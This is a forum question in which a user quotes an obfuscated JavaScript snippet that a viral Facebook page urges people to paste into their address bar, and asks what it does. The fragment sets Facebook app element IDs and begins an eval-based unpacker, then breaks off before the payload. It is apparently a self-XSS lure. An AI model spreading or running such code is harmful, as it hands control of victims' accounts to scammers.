What exactly does this piece of JavaScript do?
- by helpmarnie
I saw this page growing in popularity among my social circles on Facebook, what 98 percent bla bla... and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript.
Simply put, what does this do?
javascript:(function(){
a='app120668947950042_jop';
b='app120668947950042_jode';
ifc='app120668947950042_ifc';
ifo='app120668947950042_ifo';
mw='app120668947950042_mwrapper';
eval(function(p,a,c,k,e,r){
e=function(c){
return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}
;
if(!''.replace(/^/,String)){
while(c--)r[e(c)]=k[c]||e(c);
k=[function(e){
return r[e]}
];
e=function(){
return'\\w+'}
;
c=1}
;
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p}
